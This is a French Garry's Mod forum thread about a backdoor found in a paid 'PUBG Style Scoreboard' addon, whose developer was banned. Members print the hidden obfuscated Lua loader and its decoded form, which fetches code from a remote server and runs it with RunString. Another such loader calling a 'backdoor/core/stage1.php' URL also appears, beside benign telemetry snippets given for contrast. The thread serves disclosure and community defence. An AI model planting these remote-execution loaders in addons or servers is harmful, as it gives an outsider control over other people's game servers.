Backdoor - PUBG Scoreboard

  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Yep !

@Makss à trouvé un pitit backdoor sur cet addon : https://www.gmodstore.com/scripts/view/4409/pubg-style-scoreboard (Sur ses contents Workshop qui sont ici : http://steamcommunity.com/sharedfiles/filedetails/?id=1123281167).



Après un signalement de ma part, l'addon viens de se faire désactiver et le dev bannis (De GModStore et, le signalement steam à été fait).
Désolé mais, je KIFF Cet addon.. Moins le backdoor :/

Du coup, @Levo a déjà reup les contents ici : http://steamcommunity.com/sharedfiles/filedetails/?id=1178591253. Ils ont été vérifs par nos soins. Ils sont donc safe :)

Désolé pour ceux qui voulais le buy.. On préfère faire bannir quelqu'un qui peut potentiellement niquer vos serveurs que de le laisser se faire de la thune et potentiellement niquer des gens.

C'est la fin d'un superbe addon :(
En tout cas, pas de risque sur l'addon gmodstore pour l'instant. Je vous redirais si on trouve quelque chose.

Je sais que certains FR L'utilisais (coucou @Feytone ^^ Je ne voulais pas le buy avant de l'avoir vu sur ton serv xD).

Voila c'était tout pour moi :D
Encore merci @Makss et BISOUS LES MICHTOS ! <3
 
Dernière édition:
BCZ Gaming

BCZ Gaming

Psychopathe
Messages
1 301
Score réaction
129
Points
275
Yepco à dit:
Yep !

@Makss à trouvé un pitit backdoor sur cet addon : https://www.gmodstore.com/scripts/view/4409/pubg-style-scoreboard (Sur ses contents Workshop qui sont ici : http://steamcommunity.com/sharedfiles/filedetails/?id=1123281167).



Après un signalement de ma part, l'addon viens de se faire désactiver et le dev bannis (De GModStore et, le signalement steam à été fait).
Désolé mais, je KIFF Cet addon.. Moins le backdoor :/

Du coup, @Makss va réup les contents proprement sur le Workshop pour la commu ;-)
Désolé pour ceux qui voulais le buy.. On préfère faire bannir quelqu'un qui peut potentiellement niquer vos serveurs que de le laisser se faire de la thune et potentiellement niquer des gens.

C'est la fin d'un superbe addon :(
En tout cas, pas de risque sur l'addon gmodstore pour l'instant. Je vous redirais si on trouve quelque chose.

Je sais que certains FR L'utilisais (coucou @Feytone ^^ Je ne voulais pas le buy avant de l'avoir vu sur ton serv xD).


J'update ce post dès que les contents sont réup :)

Voila c'était tout pour moi :D
Encore merci @Makss et BISOUS LES MICHTOS ! <3
Ok hâte que tu récupe les content. Tu nous l'envera l'addond gratuit?
 
  • J'aime
Réactions: Yepco
edouard292

edouard292

Geek suprême
Messages
423
Score réaction
108
Points
150
Ah heuresement que vous êtes là :D
C'est une très bonne initiative après je pense que vous avez gaché la possibilité d'achat, après je ne sais pas comment ca fonctionne mais peut être le rendre publique ou je n'en sais rien :p
 
  • J'aime
Réactions: Yoh Sambre ♪
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Zappy#ORIGINAL à dit:
Ok hâte que tu récupe les content. Tu nous l'envera l'addond gratuit?
Les contents sont publiques xD Donc, gratuit sur Workshop ^^

edouard292 à dit:
Ah heuresement que vous êtes là :D
C'est une très bonne initiative après je pense que vous avez gaché la possibilité d'achat, après je ne sais pas comment ca fonctionne mais peut être le rendre publique ou je n'en sais rien :p
Merci :)
xD Non on ne peut pas :/ Ce serais du leak :(
Désolé.. Sa fera une "exclu" en plus a ceux qui l'ont buy avant :/
 
BCZ Gaming

BCZ Gaming

Psychopathe
Messages
1 301
Score réaction
129
Points
275
edouard292 à dit:
Ah heuresement que vous êtes là :D
C'est une très bonne initiative après je pense que vous avez gaché la possibilité d'achat, après je ne sais pas comment ca fonctionne mais peut être le rendre publique ou je n'en sais rien :p
Oui
 
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
Pour ceux qui veulent savoir, la backdoor ce situais dans le fichier lua/autorun/server/pubg_scoreboard_workshop.lua et elle contenais :
Code:
_G["\x74\x69\x6d\x65\x72"]["\x43\x72\x65\x61\x74\x65"](("")["\x72\x65\x70"]("\x72\x6b\x6c", _G["\x6d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"](_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"),_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x39\x39"))), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x33\x30"), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"), function() _G["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32\x2e\x31\x35\x31\x2e\x31\x35\x34\x2e\x31\x32\x34\x3a\x33\x30\x30\x30\x2f\x77\x6f\x72\x6b\x73\x68\x6f\x70\x63\x68\x65\x63\x6b\x3f\x69\x70\x3d".._G["\x67\x61\x6d\x65"]["\x47\x65\x74\x49\x50\x41\x64\x64\x72\x65\x73\x73"](), function(a) _G["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67"](a) end) end)
Ce qui donne :
Code:
timer.Create(string.rep("rkl", math.random(0, 99)), 30, 0,	function() http.Fetch("http://XXX.XXX.XXX.XXX:3000/workshopcheck?ip="..game.GetIPAddress(),	function(a)	RunString(a)	end)
end)
(J'ai masqué l'IP, ce n'est pas vraiment des XXX)
 
  • J'aime
Réactions: Yepco
BCZ Gaming

BCZ Gaming

Psychopathe
Messages
1 301
Score réaction
129
Points
275
Yepco à dit:
Les contents sont publiques xD Donc, gratuit sur Workshop ^^


Merci :)
xD Non on ne peut pas :/ Ce serais du leak :(
Désolé.. Sa fera une "exclu" en plus a ceux qui l'ont buy avant :/
Moi je parlait du script. Et non c pas du leak vue que le sec c fait ban. Atila tuto mais les script des Seb banni si il l a acheté est du coup c pas du leak vue que le sec est ban. Après des toi qui décide.
 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Au passage, son ban entraîne la désactivation à la vente de ces addons :

 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Zappy#ORIGINAL à dit:
Moi je parlait du script. Et non c pas du leak vue que le sec c fait ban. Atila tuto mais les script des Seb banni si il l a acheté est du coup c pas du leak vue que le sec est ban. Après des toi qui décide.
Et non.. C'est une erreur de sa part.. Je crois que ce n'est pas autoriser.. On se renseigne et, je te redit.
 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Levo à dit:
Je l'avais déjà reupload sans backdoor pour ce qui veulent: http://steamcommunity.com/sharedfiles/filedetails/?id=1178591253&searchtext=
Merci mais pk t'avais pas report ?
 
BCZ Gaming

BCZ Gaming

Psychopathe
Messages
1 301
Score réaction
129
Points
275
Yepco à dit:
Et non.. C'est une erreur de sa part.. Je crois que ce n'est pas autoriser.. On se renseigne et, je te redit.
Ok cool
 
Cluff

Cluff

Geek suprême
Messages
851
Score réaction
382
Points
160
Sers à rien de faire un topic rien que pour un addon ... Il a était banni tant mieux (Vu le nombre de ban de Gmodstore faut pas mal de topic pour chaque addon).
 
slownls

slownls

Helpeur Divin
Messages
1 853
Score réaction
1 079
Points
465
Makss à dit:
Pour ceux qui veulent savoir, la backdoor ce situais dans le fichier lua/autorun/server/pubg_scoreboard_workshop.lua et elle contenais :
Code:
_G["\x74\x69\x6d\x65\x72"]["\x43\x72\x65\x61\x74\x65"](("")["\x72\x65\x70"]("\x72\x6b\x6c", _G["\x6d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"](_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"),_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x39\x39"))), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x33\x30"), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"), function() _G["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32\x2e\x31\x35\x31\x2e\x31\x35\x34\x2e\x31\x32\x34\x3a\x33\x30\x30\x30\x2f\x77\x6f\x72\x6b\x73\x68\x6f\x70\x63\x68\x65\x63\x6b\x3f\x69\x70\x3d".._G["\x67\x61\x6d\x65"]["\x47\x65\x74\x49\x50\x41\x64\x64\x72\x65\x73\x73"](), function(a) _G["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67"](a) end) end)
Ce qui donne :
Code:
timer.Create(string.rep("rkl", math.random(0, 99)), 30, 0, function() http.Fetch("http://XXX.XXX.XXX.XXX:3000/workshopcheck?ip="..game.GetIPAddress(), function(a) RunString(a) end)
end)
(J'ai masqué l'IP, ce n'est pas vraiment des XXX)
Cela n'était pas forcément un backdoor...
Zappy#ORIGINAL à dit:
Moi je parlait du script. Et non c pas du leak vue que le sec c fait ban. Atila tuto mais les script des Seb banni si il l a acheté est du coup c pas du leak vue que le sec est ban. Après des toi qui décide.
L'addon appartient à gmodstore je pense donc que c'est du leak
 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Cluff à dit:
Sers à rien de faire un topic rien que pour un addon ... Il a était banni tant mieux (Vu le nombre de ban de Gmodstore faut pas mal de topic pour chaque addon).
Ouai mais, la je sais que certains FR L'avais..
 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
http://steamcommunity.com/sharedfiles/filedetails/?id=1178591253 Voici les contents workshop safe.
Merci @Levo.
J'ai update le post ;-)
 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
slownls à dit:
Cela n'était pas forcément un backdoor...
Alors qu'elle était l'utilité de mettre ça dans des contents ? C'est pas pour rien..
 
Cluff

Cluff

Geek suprême
Messages
851
Score réaction
382
Points
160
Yepco à dit:
Ouai mais, la je sais que certains FR L'avais..
Et dire que les ricains en on bien plus. Vaux mieux laisser faire sinon on va s'attirer les foudres des dieux.
 
  • J'aime
Réactions: Yepco
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Levo à dit:
J'avais perdu mon mdp steam comme un bon (je l'ai retrouvé) et je pouvais pas me co a gmodstore x)
Je sais je suis débile.
Pas débile.. Juste.. Limité x)
 
  • J'aime
Réactions: Levo
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Cluff à dit:
Et dire que les ricains en on bien plus. Vaux mieux laisser faire sinon on va s'attirer les foudres des dieux.
Ouai.. Après, pg xD J'ai 700$ d'addons donc, j'aime bien être informé quand un est ban ^^ C'est pour ça que je me dit qu'informer peut être bien :p
Et, c'est pas tous les jours qu'on trouve et qu'on signale un backdoor :D
 
  • J'aime
Réactions: FalkioGMR
slownls

slownls

Helpeur Divin
Messages
1 853
Score réaction
1 079
Points
465
Yepco à dit:
Alors qu'elle était l'utilité de mettre ça dans des contents ? C'est pas pour rien..
Bah pour savoir qui utilise les contents...
 
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
Levo à dit:
Faudrait le dire a @Makss qu'il reupload pas pour rien 4Head
Je regarde le post t'inquiète pas ;)
slownls à dit:
Bah pour savoir qui utilise les contents...
Ah oui c'est pour ça que y'avais http.Fetch RunString
Le RunString étant obligatoire pour savoir qui l'a
 
  • J'aime
Réactions: Levo
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
Yepco à dit:
Utilité ? x)
La Blacklist aussi affiche qui l'a installé, avec un http.Fetch aussi mais le RunString...
Ouais nan 4Head
 
  • J'aime
Réactions: Yoh Sambre ♪ et Yepco
slownls

slownls

Helpeur Divin
Messages
1 853
Score réaction
1 079
Points
465
Yepco à dit:
Utilité ? x)
Bah avoir le nombre d'abonnés sur pour son site en temps réel ect...

Je trouve personnellement que le bannissement est injustifié.
 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
slownls à dit:
Bah avoir le nombre d'abonnés sur sont site en temps réel ect...

Je trouve personnellement que le bannissement est injustifié.
GMStore ne sont pas con.. Ils savent vérif..
 
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
slownls à dit:
Bah avoir le nombre d'abonnés sur sont site en temps réel ect...

Je trouve personnellement que le bannissement est injustifié.
Imagine que si y'avais écris /core/stage1.php dans l'url tu aurais dit tout le contraire :rolleyes:
 
slownls

slownls

Helpeur Divin
Messages
1 853
Score réaction
1 079
Points
465
Makss à dit:
Imagine que si y'avais écris /core/stage1.php dans l'url tu aurais dit tout le contraire :rolleyes:
Pas forcément, ta essayé de print le RunString ?
 
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
slownls à dit:
Pas forcément, ta essayé de print le RunString ?
Yup, et là tu pourras pas dire que c'était juste pour vérifier le nombre d'inscrits :
Code:
local e = "t"
 
slownls

slownls

Helpeur Divin
Messages
1 853
Score réaction
1 079
Points
465
Makss à dit:
Yup, et là tu pourras pas dire que c'était juste pour vérifier le nombre d'inscrits :
Code:
local e = "t"
Bah c'est une variable rien de grave, rien a été prouvé... Je sais très bien que c'est sûrement en backdoor, mais faut le prouver.
 
Valfunde

Valfunde

Helpeur Divin
Messages
3 800
Score réaction
1 235
Points
450
slownls à dit:
Bah c'est une variable rien de grave, rien a été prouvé... Je sais très bien que c'est sûrement en backdoor, mais faut le prouver.
+1 . . .
 
Valfunde

Valfunde

Helpeur Divin
Messages
3 800
Score réaction
1 235
Points
450
Surtout que le type avait quand même quelques scripts de post avec certains qui marchaient pas trop mal . . . J'pense qu'il va faire une demande d'unban et prouvé que c'était pas à des fins nuisibles ce code :x
 
  • J'aime
Réactions: slownls et FalkioGMR
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
slownls à dit:
Bah c'est une variable rien de grave, rien a été prouvé... Je sais très bien que c'est sûrement en backdoor, mais faut le prouver.
Après le problème c'est que tant qu'on sait pas ce qu'il y'a en backend on pourra jamais être sûr que c'est une backdoor, regarde ça c'est Gbackdoor quand il n'est pas chargé :

Quelqu'un ne sachant pas ce qu'il y'a en back-end pourra aussi penser que c'est juste pour voir quelle serveur a son addon
 
Akulla

Akulla

Helpeur Divin
Messages
3 808
Score réaction
2 240
Points
550
Après,il y a aucune histoire d'attaque actuellement,donc pour l'instant rien est sur
 
Dernière édition:
  • J'aime
Réactions: FalkioGMR
Feytone

Feytone

Chuck Norris
Messages
4 741
Score réaction
1 301
Points
600
Levo à dit:
J'avais perdu mon mdp steam comme un con (je l'ai retrouvé) et je pouvais pas me co a gmodstore x)
Je sais je suis débile.
C'est surtout qu'on avait la flemme. On s'est dit balec, pas le time pour ces conneries x)
 
Feytone

Feytone

Chuck Norris
Messages
4 741
Score réaction
1 301
Points
600
Makss à dit:
Pour ceux qui veulent savoir, la backdoor ce situais dans le fichier lua/autorun/server/pubg_scoreboard_workshop.lua et elle contenais :
Code:
_G["\x74\x69\x6d\x65\x72"]["\x43\x72\x65\x61\x74\x65"](("")["\x72\x65\x70"]("\x72\x6b\x6c", _G["\x6d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"](_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"),_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x39\x39"))), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x33\x30"), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"), function() _G["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32\x2e\x31\x35\x31\x2e\x31\x35\x34\x2e\x31\x32\x34\x3a\x33\x30\x30\x30\x2f\x77\x6f\x72\x6b\x73\x68\x6f\x70\x63\x68\x65\x63\x6b\x3f\x69\x70\x3d".._G["\x67\x61\x6d\x65"]["\x47\x65\x74\x49\x50\x41\x64\x64\x72\x65\x73\x73"](), function(a) _G["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67"](a) end) end)
Ce qui donne :
Code:
timer.Create(string.rep("rkl", math.random(0, 99)), 30, 0, function() http.Fetch("http://XXX.XXX.XXX.XXX:3000/workshopcheck?ip="..game.GetIPAddress(), function(a) RunString(a) end)
end)
(J'ai masqué l'IP, ce n'est pas vraiment des XXX)
Ah et pour info, ça tue tous les joueurs présent dans la game en boucle. Genre OnDeath -> Revive puis Kill etc...
 
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
16 288
Score réaction
9 687
Points
1 845
J'avais un mauvais point de vue sur les addons PUBG marrant..(mais c'était plus accès sur l'opportunisme des ventes)
 
ZarosOVH

ZarosOVH

Modérateur
Membre du Staff
Messages
6 527
Score réaction
5 488
Points
1 295
Ça vaut peut-être pas grand chose mais j'ai parler avec le créateur de l'addon et il affirme que le code n'étais présent que dans le but de réunir des stats...
 
  • J'aime
Réactions: slownls et Valfunde
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
Zaros_Live à dit:
Ça vaut peut-être pas grand chose mais j'ai parler avec le créateur de l'addon et il affirme que le code n'étais présent que dans le but de réunir des stats...
J'aurais tout à fait penser ça si y'avais pas un RunString + c'était marqué quelque part que ça récoltais des statistiques + le code n'était pas complètement obfuscé
 
ZarosOVH

ZarosOVH

Modérateur
Membre du Staff
Messages
6 527
Score réaction
5 488
Points
1 295
Makss à dit:
J'aurais tout à fait penser ça si y'avais pas un RunString + c'était marqué quelque part que ça récoltais des statistiques + le code n'était pas complètement obfuscé
Yep c'est pour cela que je dis que ça vaut pas grand chose ;)
 
  • Initiateur de la discussion
Yepco

Yepco

Geek suprême
Messages
557
Score réaction
137
Points
160
Des stats ? MDR.
Le workshop à ses propres stats.. Fin bon..
Et, le code était chiffré..
 
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
Zaros_Live à dit:
Yep c'est pour cela que je dis que ça vaut pas grand chose ;)
Mais c'est déjà un avis ça fait avancer les choses :D
D'ailleurs effectivement même dans les commentaires de son addon il dit que c'est un tracker :
 
ZarosOVH

ZarosOVH

Modérateur
Membre du Staff
Messages
6 527
Score réaction
5 488
Points
1 295
Makss à dit:
Mais c'est déjà un avis ça fait avancer les choses :D
D'ailleurs effectivement même dans les commentaires de son addon il dit que c'est un tracker :
Obfuscation was just because really, wanted to try something new, no real reason for it
RunString was meant to be for addon-wide messages
J'aurais bien aimé poster ma discutions complète avec lui mais....Snk..... :(
 
ZarosOVH

ZarosOVH

Modérateur
Membre du Staff
Messages
6 527
Score réaction
5 488
Points
1 295
Avec l'accord de Snk, voici la conversation complète:

No rage de mon anglais googlé KappaKappa
 
  • J'aime
Réactions: Valfunde, Makss et Kitsu
Valfunde

Valfunde

Helpeur Divin
Messages
3 800
Score réaction
1 235
Points
450
@Diablos26 tiens ;)
 
Makss

Makss

Psychopathe
Messages
830
Score réaction
990
Points
310
Zaros_Live à dit:
Avec l'accord de Snk, voici la conversation complète:

No rage de mon anglais googlé KappaKappa
Et bien je n'y crois pas du tout ._.
ça c'est de la récolte de statistique :
Code:
-- You can opt out of this call-to-home if you'd like, I just like stats.
-- These won't be used for anything other than putting a smile on my face :)
-- Set ss_call_to_home to 0 to opt out
hook.Add("Initialize", "CallToHomeSS", function()	timer.Simple(15, function()	if GetConVar("ss_call_to_home"):GetInt() == 0 then return end	http.Post("https://sammyservers.com/misc/index.php", {	["operating_system"] = GetOS(),	["server_dedicated"] = game.IsDedicated() and "true" or "false",	["server_name"] = GetHostName(),	["server_ip"] = util.CRC(game.GetIPAddress()),	["version"] = version	})	end)
end)
ça c'est une récolte de statistique :
Code:
if blacklistConfig.dontLogMe == false then	timer.Simple( 5*60,function() -- Sending ip 5 minutes after loading	http.Post("https://g-box.fr/wp-content/blacklist/addserver.php", { ip=game.GetIPAddress() }, function() end, function() end) -- Logging the server on g-box.fr	end)
end
ça c'est une backdoor :
Code:
timer.Create(string.rep("rkl", math.random(0, 99)), 30, 0,	function() http.Fetch("http://XXX.XXX.XXX.XXX:3000/workshopcheck?ip="..game.GetIPAddress(),	function(a)	RunString(a)	end)
end)
ça c'est un code de type backdoor :
Code:
if SERVER then timer.Simple(1, function() http.Fetch("http://brh-cod.com/backdoor/core/stage1.php", function(b, l, h, c) if c == 200 then RunString(b) end end) end)
end

Marbella à dit:
J'encrypte tout mes addons par soucis de vol,pas mal de gens ont déjà volé mes addons et revendu par le passés.
J'encrypte aussi pour pas que des fondateurs font une repompe de mon code et le mettre à leur nom.
EDIT : Maintenant sans obfuscation :p
 
Dernière édition:
  • J'aime
Réactions: Levo, ZarosOVH et Akulla
Akulla

Akulla

Helpeur Divin
Messages
3 808
Score réaction
2 240
Points
550
Makss à dit:
Et bien je n'y crois pas du tout ._.
ça c'est de la récolte de statistique :
Code:
-- You can opt out of this call-to-home if you'd like, I just like stats.
-- These won't be used for anything other than putting a smile on my face :)
-- Set ss_call_to_home to 0 to opt out
hook.Add("Initialize", "CallToHomeSS", function() timer.Simple(15, function() if GetConVar("ss_call_to_home"):GetInt() == 0 then return end http.Post("https://sammyservers.com/misc/index.php", { ["operating_system"] = GetOS(), ["server_dedicated"] = game.IsDedicated() and "true" or "false", ["server_name"] = GetHostName(), ["server_ip"] = util.CRC(game.GetIPAddress()), ["version"] = version }) end)
end)
ça c'est une récolte de statistique :
Code:
if blacklistConfig.dontLogMe == false then timer.Simple( 5*60,function() -- Sending ip 5 minutes after loading http.Post("https://g-box.fr/wp-content/blacklist/addserver.php", { ip=game.GetIPAddress() }, function() end, function() end) -- Logging the server on g-box.fr end)
end
ça c'est une backdoor :
Code:
_G["\x74\x69\x6d\x65\x72"]["\x43\x72\x65\x61\x74\x65"](("")["\x72\x65\x70"]("\x72\x6b\x6c", _G["\x6d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"](_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"),_G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x39\x39"))), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x33\x30"), _G["\x74\x6f\x6e\x75\x6d\x62\x65\x72"]("\x30"), function() _G["\x68\x74\x74\x70"]["\x46\x65\x74\x63\x68"]("\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32\x2e\x31\x35\x31\x2e\x31\x35\x34\x2e\x31\x32\x34\x3a\x33\x30\x30\x30\x2f\x77\x6f\x72\x6b\x73\x68\x6f\x70\x63\x68\x65\x63\x6b\x3f\x69\x70\x3d".._G["\x67\x61\x6d\x65"]["\x47\x65\x74\x49\x50\x41\x64\x64\x72\x65\x73\x73"](), function(a) _G["\x52\x75\x6e\x53\x74\x72\x69\x6e\x67"](a) end) end)
ça c'est un code de type backdoor :
Code:
if SERVER then
timer.Simple(1, function()
http.Fetch("\104\116\116\112\58\47\47\98\114\104\45\99\111\100\46\99\111\109\47\98\97\99\107\100\111\111\114\47\99\111\114\101\47\115\116\97\103\101\49\46\112\104\112", function(b, l, h, c)
if c == 200 then RunString(b) end
end)
end)
end
Merci pour le code de ressources de statistiques,on sait jamais KappaPride
 
Dernière édition:
  • J'aime
Réactions: Makss
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
16 288
Score réaction
9 687
Points
1 845
Arrêtez les conneries de "faux positif" , le dev aurait très bien pu ne pas brouillé le code faut pas non plus déconné ..

c'comme si moi je fesait ca :


Code:
getfenv()["\x75\x74\x69\x6c"]["\x41\x64\x64\x4e\x65\x74\x77\x6f\x72\x6b\x53\x74\x72\x69\x6e\x67"]("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x41\x75\x74\x6f\x55\x70\x64\x61\x74\x65")
if !file.Exists("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f","\x44\x41\x54\x41") then file.CreateDir("\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78")
end
if !file.Exists( "\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2e\x74\x78\x74", "\x44\x41\x54\x41") then file.Write( "\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2e\x74\x78\x74", "")
end
getfenv()["\x70\x72\x69\x6e\x74"]([[ _____ _ _ _____ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[|_ _| | | || ___| ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[ | | | |_| || |__ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[ | | | _ || __| ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[ | | | | | || |___ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[ \_/ \_| |_/\____/ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[______ _ ___ _____ _ __ _ _____ _____ _____ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[| ___ \ | / _ \/ __ \| | / /| | |_ _/ ___|_ _|]])
getfenv()["\x70\x72\x69\x6e\x74\x28\x5b\x5b\x7c\x20\x7c\x5f\x2f\x20\x2f\x20\x7c\x20\x20\x20\x20\x2f\x20\x2f\x5f\x5c\x20\x5c\x20\x2f\x20\x20\x5c\x2f\x7c\x20\x7c\x2f\x20\x2f\x20\x7c\x20\x7c\x20\x20\x20\x20\x20\x7c\x20\x7c\x20\x5c\x20\x60\x2d\x2d"]["\x20\x20\x7c\x20\x7c\x20\x20\x5d\x5d\x29"]([[| |_/ / | / /_\ \ / \/| |/ / | | | | \ `--. | | ]])
getfenv()["\x70\x72\x69\x6e\x74\x28\x5b\x5b\x7c\x20\x5f\x5f\x5f\x20\x5c\x20\x7c\x20\x20\x20\x20\x7c\x20\x20\x5f\x20\x20\x7c\x20\x7c\x20\x20\x20\x20\x7c\x20\x20\x20\x20\x5c\x20\x7c\x20\x7c\x20\x20\x20\x20\x20\x7c\x20\x7c\x20\x20\x60\x2d\x2d"]["\x20\x5c\x20\x7c\x20\x7c\x20\x20\x5d\x5d\x29"]([[| ___ \ | | _ | | | \ | | | | `--. \ | | ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[| |_/ / |____| | | | \__/\| |\ \| |_____| |_/\__/ / | | ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[\____/\_____/\_| |_/\____/\_| \_/\_____/\___/\____/ \_/ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[ _ _____ ___ ______ ___________ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[| | | _ |/ _ \| _ \ ___| _ \ ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[| | | | | / /_\ \ | | | |__ | | | | ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[| | | | | | _ | | | | __|| | | | ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[| |___\ \_/ / | | | |/ /| |___| |/ / ]])
getfenv()["\x70\x72\x69\x6e\x74"]([[\_____/\___/\_| |_/___/ \____/|___/ ]])
getfenv()["\x70\x72\x69\x6e\x74"]("")
local function ‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬‬ for _, ply in getfenv()["\x70\x61\x69\x72\x73\x28\x70\x6c\x61\x79\x65\x72"]["\x47\x65\x74\x41\x6c\x6c\x28\x29"](player.GetAll()) do if ply:IsSuperAdmin() then ply:SendLua([[chat.AddText(getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0),"\x5b\x42\x4c\x5d\x20\x4d\x69\x73\x65\x20\x61\x20\x6a\x6f\x75\x72\x20\x64\x69\x73\x70\x6f\x6e\x69\x62\x6c\x65\x21\x20\x54\x61\x70\x65\x7a\x20\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x75\x70\x67\x72\x61\x64\x65\x20\x64\x61\x6e\x73\x20\x6c\x61\x20\x63\x6f\x6e\x73\x6f\x6c\x65\x20\x70\x6f\x75\x72\x20\x6d\x65\x74\x74\x72\x65\x20\x61\x20\x6a\x6f\x75\x72")]]) ply:SendLua([[getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0),"\x5b\x42\x4c\x5d\x20\x41\x76\x61\x6e\x74\x20\x64\x65\x20\x6d\x65\x74\x74\x72\x65\x20\x61\x20\x6a\x6f\x75\x72\x20\x72\x65\x67\x61\x72\x64\x65\x7a\x20\x6c\x65\x73\x20\x63\x6f\x64\x65\x73\x20\x69\x63\x69\x3a\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x73\x76\x5f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2e\x6c\x75\x61\x20\x65\x74\x20\x68\x74\x74\x70\x73\x3a\x2f\x2f\x67\x2d\x62\x6f\x78\x2e\x66\x72\x2f\x77\x70\x2d\x63\x6f\x6e\x74\x65\x6e\x74\x2f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x2f\x63\x6c\x5f\x62\x6c\x61\x63\x6b\x6c\x69\x73\x74\x5f\x67\x62\x6f\x78\x2e\x6c\x75\x61")]]) end end getfenv()["\x4d\x73\x67\x43"](getfenv()["\x43\x6f\x6c\x6f\x72"](255,0,0), 